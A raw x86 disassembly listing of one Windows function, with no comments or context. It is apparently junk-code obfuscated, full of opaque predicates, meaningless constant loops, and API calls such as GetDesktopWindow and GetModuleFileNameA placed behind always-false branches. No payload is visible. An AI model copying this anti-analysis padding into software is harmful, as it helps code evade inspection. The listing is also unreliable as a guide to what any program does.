mov dword [ebp - 0xed4], 1
jmp 0x47a558
and dword [ebp - 0xed4], 0
cmp dword [ebp - 0xed4], 0x9e3c
jg 0x47a570
mov dword [ebp - 0xedc], 1
jmp 0x47a577
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0x1dcc]
cmp dword [ebp - 0xedc], eax
jge 0x47a591
mov dword [ebp - 0x1dd4], 1
jmp 0x47a598
and dword [ebp - 0x1dd4], 0
mov eax, dword [ebp - 0xb68]
add eax, dword [ebp - 0x1dd4]
cmp eax, 0x26aece01
jg 0x47a5b7
mov dword [ebp - 0xee4], 1
jmp 0x47a5be
and dword [ebp - 0xee4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x289c]
cmp eax, dword [ebp - 0xee4]
jge 0x47a7d0
mov dword [ebp - 0x92c], 0
jmp 0x47a5f0
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 3
jge 0x47a60c
mov eax, dword [ebp - 0x92c]
mov dword [ebp + eax*4 - 0x31ac], 0x2fa57a88
jmp 0x47a5e3
or eax, 0xffffffff
je 0x47a63f
push 4
pop eax
shl eax, 1
imul eax, dword [ebp + eax - 0x2c6c], 0xfffffff8
sub eax, 0xdeb
sub eax, dword [ebp - 0xb68]
add eax, 0xa
jne 0x47a633
or eax, 0xffffffff
je 0x47a63f
mov dword [ebp - 0x1ddc], 1
jmp 0x47a646
and dword [ebp - 0x1ddc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x289c]
cmp eax, dword [ebp - 0x1ddc]
jl 0x47a667
mov dword [ebp - 0xeec], 1
jmp 0x47a66e
and dword [ebp - 0xeec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xce4]
cmp dword [ebp - 0xeec], eax
je 0x47a68f
mov dword [ebp - 0x1de4], 1
jmp 0x47a696
and dword [ebp - 0x1de4], 0
cmp dword [ebp - 0x1de4], 0xb816
je 0x47a6ae
mov dword [ebp - 0xef4], 1
jmp 0x47a6b5
and dword [ebp - 0xef4], 0
cmp dword [ebp - 0xef4], 0x942075d7
jbe 0x47a6cd
mov dword [ebp - 0x1dec], 1
jmp 0x47a6d4
and dword [ebp - 0x1dec], 0
cmp dword [ebp - 0x1dec], 6
je 0x47a723
mov dword [ebp - 0x2ccc], 0xfffffff8
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x31ac]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x31ac], eax
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x47a721
push 0
push 0
push 0xbad
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x47a799
mov dword [ebp - 0x2714], 1
mov byte [ebp - 0x3e1], 0
movzx eax, byte [ebp - 0x3e1]
test eax, eax
je 0x47a75a
push 0xbe
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0x248], 0
jmp 0x47a773
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 3
jg 0x47a799
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xce4], 0xffff0002
mov dword [ebp - 0x2714], 0xffff0002
jmp 0x47a766
mov dword [ebp - 0x248], 0
jmp 0x47a7b2
cmp dword [ebp - 0x248], 4
jge 0x47a7ce
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x2e5c]
mov dword [ebp + ecx - 0xce4], eax
mov dword [ebp - 0x5cc], 0
jmp 0x47a803
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 7
jge 0x47a82b
mov dword [ebp - 0x271c], 0xcb45490a
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x271c]
mov dword [ebp + eax - 0xce4], ecx
jmp 0x47a7f6
mov dword [ebp - 0x184], 0
jmp 0x47a844
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 4
jge 0x47a860
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x34d8], 0x832cb818
jmp 0x47a837
mov dword [ebp - 0x2724], 0xffffffff
mov dword [ebp - 0x1e04], 0x33992443
mov dword [ebp - 0x272c], 0x5043c4ab
mov dword [ebp - 0x1df4], 0xb39e
mov dword [ebp - 0x2734], 0xdfe924f6
mov dword [ebp - 0x50], 0
jmp 0x47a8a2
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x47a8b8
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x22fc], 0xfffffffe
jmp 0x47a89b
mov dword [ebp - 0x50], 0
jmp 0x47a8c8
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x47a8de
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x31bc], 1
jmp 0x47a8c1
mov dword [ebp - 0x50], 0
jmp 0x47a8ee
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x47a904
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x34c4], 0x39e
jmp 0x47a8e7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31bc]
cmp dword [ebp - 0x2724], eax
jle 0x47a925
mov dword [ebp - 0xefc], 1
jmp 0x47a92c
and dword [ebp - 0xefc], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22fc], 0x80f8
jne 0x47a94f
xor eax, eax
je 0x47a94f
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 0xefc]
mov dword [ebp - 0x1df4], eax
mov eax, dword [ebp - 0x1df4]
sub eax, dword [ebp - 0xf04]
mov dword [ebp - 0x1dfc], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1dfc]
mov dword [ebp + eax - 0x31bc], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22fc]
sub eax, dword [ebp - 0x1e04]
cmp eax, dword [ebp - 0x1dfc]
jl 0x47a9ad
mov dword [ebp - 0x2d54], 0x3623
mov dword [ebp - 0xa20], 0x3af7
mov dword [ebp - 0x934], 0xb622b607
mov dword [ebp - 0xfac], 3
mov dword [ebp - 0x70], 0
jmp 0x47b169
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x47b17f
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x514], 0xfffffff9
jmp 0x47b162
mov dword [ebp - 0x70], 0
jmp 0x47b18f
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x47b1a5
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xd54], 0x7632667a
jmp 0x47b188
mov dword [ebp - 0x70], 0
jmp 0x47b1b5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x47b1cb
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x2ab0], 0xaba8d6e8
jmp 0x47b1ae
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xd54], 0
jmp 0x47b1f6
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd54]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xd54], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd54], 1
jge 0x47b21e
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd54]
mov dword [ebp + eax*4 - 0x514], 0xcd795364
jmp 0x47b1dd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x514], 0
je 0x47b3ae
mov eax, dword [ebp - 0x934]
inc eax
mov dword [ebp - 0x934], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd54]
mov dword [ebp - 0x2d5c], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x514]
add ecx, dword [ebp - 0x934]
cmp dword [ebp + eax - 0xd54], ecx
jle 0x47b27e
mov dword [ebp - 0xf9c], 1
jmp 0x47b285
and dword [ebp - 0xf9c], 0
mov eax, dword [ebp - 0x934]
cmp dword [ebp - 0xf9c], eax
jle 0x47b29f
mov dword [ebp - 0xc14], 1
jmp 0x47b2a6
and dword [ebp - 0xc14], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc14]
mov dword [ebp + eax - 0x514], ecx
mov eax, dword [ebp - 0xa20]
cmp dword [ebp - 0xc14], eax
jne 0x47b2d9
mov eax, 0xfff8
test eax, eax
jne 0x47b2d9
and dword [ebp - 0x1e94], 0
jmp 0x47b2e3
mov dword [ebp - 0x1e94], 1
mov eax, dword [ebp - 0xa20]
add eax, dword [ebp - 0x1e94]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0xd54]
jne 0x47b30f
mov eax, 0xede5c489
test eax, eax
jne 0x47b30f
and dword [ebp - 0xfa4], 0
jmp 0x47b319
mov dword [ebp - 0xfa4], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfa4]
mov dword [ebp + eax - 0x2ab0], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2ab0], 0
jne 0x47b348
mov dword [ebp - 0x1e9c], 1
jmp 0x47b34f
and dword [ebp - 0x1e9c], 0
mov eax, dword [ebp - 0x1e9c]
mov dword [ebp - 0xfac], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd54]
mov dword [ebp - 0x2d64], eax
mov eax, dword [ebp - 0xfac]
mov dword [ebp - 0x2d6c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x514]
mov dword [ebp - 0x2d74], eax
mov eax, 0x90b8
imul eax, eax, 0x41e4
test eax, eax
jne 0x47b3a2
push 8
pop eax
test eax, eax
je 0x47b3ae
mov dword [ebp - 0x1ea4], 1
jmp 0x47b3b5
and dword [ebp - 0x1ea4], 0
cmp dword [ebp - 0x1ea4], 0xfff8
je 0x47b3cd
mov dword [ebp - 0xfb4], 1
jmp 0x47b3d4
and dword [ebp - 0xfb4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd54]
cmp dword [ebp - 0xfb4], eax
je 0x47b3f4
mov dword [ebp - 0x1eac], 1
jmp 0x47b3fb
and dword [ebp - 0x1eac], 0
cmp dword [ebp - 0x1eac], 1
jbe 0x47b410
mov dword [ebp - 0xfbc], 1
jmp 0x47b417
and dword [ebp - 0xfbc], 0
mov eax, dword [ebp - 0xa20]
imul eax, dword [ebp - 0xfbc]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xd54]
jne 0x47b43e
mov dword [ebp - 0x1eb4], 1
jmp 0x47b445
and dword [ebp - 0x1eb4], 0
cmp dword [ebp - 0x1eb4], 0xcd4d3380
jbe 0x47b45d
mov dword [ebp - 0xfc4], 1
jmp 0x47b464
and dword [ebp - 0xfc4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xfc4]
mov dword [ebp + eax - 0xd54], ecx
cmp dword [ebp + 8], 2
jl 0x4843d6
mov dword [ebp - 0x93c], 8
mov dword [ebp - 0x678], 0
jmp 0x47b4a3
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 2
jge 0x47b4bf
mov eax, dword [ebp - 0x678]
mov dword [ebp + eax*4 - 0x2e68], 0x7862
jmp 0x47b496
mov dword [ebp - 0x93c], 0
jmp 0x47b4d8
mov eax, dword [ebp - 0x93c]
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 1
jg 0x47b54b
mov dword [ebp - 0x594], 0xffffffff
mov byte [ebp - 0x36f], 0
movzx eax, byte [ebp - 0x36f]
test eax, eax
je 0x47b513
push 0
push 0
push 0x2515
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov dword [ebp - 0x594], 0
jmp 0x47b52c
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 1
jg 0x47b549
mov eax, dword [ebp - 0x594]
cmp dword [ebp + eax*4 - 0x2e68], 0
je 0x47b547
jmp 0x47b549
jmp 0x47b51f
jmp 0x47b4cb
mov dword [ebp - 0x27b8], 0xfffffffd
mov dword [ebp - 0x680], 0
jmp 0x47b56e
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 1
jge 0x47b58a
mov eax, dword [ebp - 0x680]
mov dword [ebp + eax*4 - 0x390], 0
jmp 0x47b561
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x390], 0xffffffec
jmp 0x47b5b8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x390]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x390], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x390], 0xfffffffd
jle 0x47baa9
mov dword [ebp - 0x18c], 0
jmp 0x47b5e5
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x47b601
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x114], 2
jmp 0x47b5d8
mov dword [ebp - 0x18c], 0
jmp 0x47b61a
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x47b633
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x58], 0xfffffffd
jmp 0x47b60d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x58], 0
jmp 0x47b658
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x58], 0
jg 0x47baa4
mov dword [ebp - 0x388], 0xcd49598a
mov dword [ebp - 0x944], 0
jmp 0x47b68c
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 2
jge 0x47b6a8
mov eax, dword [ebp - 0x944]
mov dword [ebp + eax*4 - 0x2e74], 0x54ab1007
jmp 0x47b67f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov eax, dword [ebp + eax*4 - 0x114]
mov dword [ebp - 0x2d7c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x58], 0
je 0x47b786
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x390], 0
jne 0x47b773
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov eax, dword [ebp + eax*4 - 0x114]
mov dword [ebp - 0x1ebc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov ecx, dword [ebp - 0x1ebc]
mov dword [ebp + eax*4 - 0x114], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp dword [ebp - 0x1ebc], eax
jg 0x47b730
mov dword [ebp - 0xfcc], 1
jmp 0x47b737
and dword [ebp - 0xfcc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp dword [ebp - 0xfcc], eax
jle 0x47b755
mov dword [ebp - 0x1ec4], 1
jmp 0x47b75c
and dword [ebp - 0x1ec4], 0
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x1ec4], eax
jle 0x47b773
and dword [ebp - 0xfd4], 0
jmp 0x47b77d
mov dword [ebp - 0xfd4], 1
cmp dword [ebp - 0xfd4], 0xfffffffd
jg 0x47b793
xor eax, eax
jne 0x47b793
and dword [ebp - 0x1ecc], 0
jmp 0x47b79d
mov dword [ebp - 0x1ecc], 1
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x1ecc], eax
jl 0x47b7b7
mov dword [ebp - 0xfdc], 1
jmp 0x47b7be
and dword [ebp - 0xfdc], 0
mov eax, dword [ebp - 0xfdc]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x388], 0
jmp 0x47b7e3
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x1d
jne 0x47ba9f
mov dword [ebp - 0xbc], 3
mov dword [ebp - 0xbc], 0xffffffea
jmp 0x47b813
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffe8
jg 0x47b833
mov dword [ebp - 0x27b0], 0x717f
cmp dword [ebp - 0x27b0], 0
je 0x47b831
jmp 0x47b833
jmp 0x47b806
mov dword [ebp - 0xbc], 0
jmp 0x47b84c
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x47ba9a
mov dword [ebp - 0x2c4], 0xffffffff
mov eax, dword [ebp - 0xbc]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x58]
mov eax, dword [ebp + eax*4 - 0x114]
mov dword [ebp + ecx*4 - 0x114], eax
mov dword [ebp - 0x2c4], 0
jmp 0x47b89a
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
jl 0x47ba95
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp + eax*4 - 0x114], 0xe6966ef3
mov eax, 0xe6966ef3
test eax, eax
je 0x47ba77
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp + eax*4 - 0x114], 0
je 0x47b909
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp dword [ebp + eax*4 - 0x114], 0
je 0x47b909
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp + eax*4 - 0x114], 0
je 0x47b909
mov dword [ebp - 0x1ed4], 1
jmp 0x47b910
and dword [ebp - 0x1ed4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov eax, dword [ebp + eax*4 - 0x114]
sub eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x1ed4], eax
jge 0x47b93b
mov dword [ebp - 0xfe4], 1
jmp 0x47b942
and dword [ebp - 0xfe4], 0
cmp dword [ebp - 0xfe4], 0xb391
je 0x47b95a
mov dword [ebp - 0x1edc], 1
jmp 0x47b961
and dword [ebp - 0x1edc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x390]
cmp dword [ebp - 0x1edc], eax
jne 0x47b982
mov dword [ebp - 0xfec], 1
jmp 0x47b989
and dword [ebp - 0xfec], 0
mov eax, dword [ebp - 0xfec]
sub eax, dword [ebp - 0xbc]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x390]
je 0x47b9b0
mov dword [ebp - 0x1ee4], 1
jmp 0x47b9b7
and dword [ebp - 0x1ee4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e74]
cmp dword [ebp - 0x1ee4], eax
jle 0x47b9d8
mov dword [ebp - 0xff4], 1
jmp 0x47b9df
and dword [ebp - 0xff4], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0xff4], eax
jle 0x47b9f9
mov dword [ebp - 0x1eec], 1
jmp 0x47ba00
and dword [ebp - 0x1eec], 0
imul eax, dword [ebp - 0x1eec], 0xffff
cmp eax, 1
jl 0x47ba1b
mov dword [ebp - 0xffc], 1
jmp 0x47ba22
and dword [ebp - 0xffc], 0
cmp dword [ebp - 0xffc], 0xafcb
je 0x47ba3a
mov dword [ebp - 0x1ef4], 1
jmp 0x47ba41
and dword [ebp - 0x1ef4], 0
cmp dword [ebp - 0x1ef4], 0
jae 0x47ba56
mov dword [ebp - 0x1004], 1
jmp 0x47ba5d
and dword [ebp - 0x1004], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x1004], eax
jg 0x47ba77
mov dword [ebp - 0x1efc], 1
jmp 0x47ba7e
and dword [ebp - 0x1efc], 0
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x1efc]
mov dword [ebp - 0x27b8], eax
jmp 0x47b88d
jmp 0x47b83f
jmp 0x47b7d6
jmp 0x47b643
jmp 0x47b59d
mov byte [ebp - 0x345], 0
movzx eax, byte [ebp - 0x345]
test eax, eax
je 0x47baca
push 0x4aa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x2d84], 0x3623
mov dword [ebp - 0xa28], 0x3af7
mov dword [ebp - 0x688], 0xb622b607
mov dword [ebp - 0x101c], 3
mov dword [ebp - 0x80], 0
jmp 0x47bb02
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x47bb18
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x51c], 0xfffffff9
jmp 0x47bafb
mov dword [ebp - 0x80], 0
jmp 0x47bb28
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x47bb3e
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xd34], 0x7632667a
jmp 0x47bb21
mov dword [ebp - 0x80], 0
jmp 0x47bb4e
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x47bb64
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x29e8], 0xaba8d6e8
jmp 0x47bb47
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xd34], 0
jmp 0x47bb8f
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xd34], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd34], 1
jge 0x47bbb7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
mov dword [ebp + eax*4 - 0x51c], 0xcd795364
jmp 0x47bb76
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x51c], 0
je 0x47bd47
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
mov dword [ebp - 0x2d8c], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x51c]
add ecx, dword [ebp - 0x688]
cmp dword [ebp + eax - 0xd34], ecx
jle 0x47bc17
mov dword [ebp - 0x100c], 1
jmp 0x47bc1e
and dword [ebp - 0x100c], 0
mov eax, dword [ebp - 0x688]
cmp dword [ebp - 0x100c], eax
jle 0x47bc38
mov dword [ebp - 0xb70], 1
jmp 0x47bc3f
and dword [ebp - 0xb70], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb70]
mov dword [ebp + eax - 0x51c], ecx
mov eax, dword [ebp - 0xa28]
cmp dword [ebp - 0xb70], eax
jne 0x47bc72
mov eax, 0xfff8
test eax, eax
jne 0x47bc72
and dword [ebp - 0x1f04], 0
jmp 0x47bc7c
mov dword [ebp - 0x1f04], 1
mov eax, dword [ebp - 0xa28]
add eax, dword [ebp - 0x1f04]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0xd34]
jne 0x47bca8
mov eax, 0xede5c489
test eax, eax
jne 0x47bca8
and dword [ebp - 0x1014], 0
jmp 0x47bcb2
mov dword [ebp - 0x1014], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1014]
mov dword [ebp + eax - 0x29e8], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x29e8], 0
jne 0x47bce1
mov dword [ebp - 0x1f0c], 1
jmp 0x47bce8
and dword [ebp - 0x1f0c], 0
mov eax, dword [ebp - 0x1f0c]
mov dword [ebp - 0x101c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
mov dword [ebp - 0x2d94], eax
mov eax, dword [ebp - 0x101c]
mov dword [ebp - 0x2d9c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x51c]
mov dword [ebp - 0x2da4], eax
mov eax, 0x90b8
imul eax, eax, 0x41e4
test eax, eax
jne 0x47bd3b
push 8
pop eax
test eax, eax
je 0x47bd47
mov dword [ebp - 0x1f14], 1
jmp 0x47bd4e
and dword [ebp - 0x1f14], 0
cmp dword [ebp - 0x1f14], 0xfff8
je 0x47bd66
mov dword [ebp - 0x1024], 1
jmp 0x47bd6d
and dword [ebp - 0x1024], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
cmp dword [ebp - 0x1024], eax
je 0x47bd8d
mov dword [ebp - 0x1f1c], 1
jmp 0x47bd94
and dword [ebp - 0x1f1c], 0
cmp dword [ebp - 0x1f1c], 1
jbe 0x47bda9
mov dword [ebp - 0x102c], 1
jmp 0x47bdb0
and dword [ebp - 0x102c], 0
mov eax, dword [ebp - 0xa28]
imul eax, dword [ebp - 0x102c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xd34]
jne 0x47bdd7
mov dword [ebp - 0x1f24], 1
jmp 0x47bdde
and dword [ebp - 0x1f24], 0
cmp dword [ebp - 0x1f24], 0xcd4d3380
jbe 0x47bdf6
mov dword [ebp - 0x1034], 1
jmp 0x47bdfd
and dword [ebp - 0x1034], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1034]
mov dword [ebp + eax - 0xd34], ecx
mov dword [ebp - 0x2b8c], 0x96dd1e1e
mov dword [ebp - 0x2b88], 0x96dd1e1e
mov dword [ebp - 0x2b84], 0x96dd1e1e
mov dword [ebp - 0x2b80], 0x96dd1e1e
mov dword [ebp - 0x94c], 0
jmp 0x47be50
mov eax, dword [ebp - 0x94c]
inc eax
mov dword [ebp - 0x94c], eax
cmp dword [ebp - 0x94c], 3
jge 0x47be6c
mov eax, dword [ebp - 0x94c]
mov dword [ebp + eax*4 - 0x297c], 1
jmp 0x47be43
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2b8c], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x297c], 0xfffffff8
jmp 0x47bea7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x297c]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x297c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x297c], 0x19
jl 0x47bf02
mov dword [ebp - 0x690], 0xfffffff9
mov dword [ebp - 0x690], 0
jmp 0x47bed9
mov eax, dword [ebp - 0x690]
dec eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0xfffffff0
je 0x47bf00
mov byte [ebp - 0x3b9], 0
movzx eax, byte [ebp - 0x3b9]
test eax, eax
je 0x47befe
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
jmp 0x47becc
jmp 0x47be8e
mov dword [ebp - 0x2dac], 0x3623
mov dword [ebp - 0x5f8], 0xa17d
mov dword [ebp - 0x4e8], 0xfaab39e2
mov dword [ebp - 0x13c], 1
mov dword [ebp - 0x250], 0
jmp 0x47bf43
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x47bf5f
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x27c8], 0x6847dfa8
jmp 0x47bf36
mov dword [ebp - 0x250], 0
jmp 0x47bf78
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x47bf94
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0xcc4], 0x871c7bf0
jmp 0x47bf6b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xcc4], 0
jmp 0x47bfc2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xcc4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc4], 0
jl 0x47c331
mov dword [ebp - 0xd4], 0xe6da504
mov dword [ebp - 0x1054], 0x5ff57440
mov dword [ebp - 0x1064], 0x82f744ed
mov dword [ebp - 0xd4], 0
jmp 0x47c00d
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jg 0x47c256
mov dword [ebp - 0xc4c], 0
mov dword [ebp - 0x954], 0
jmp 0x47c03d
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
cmp dword [ebp - 0x954], 2
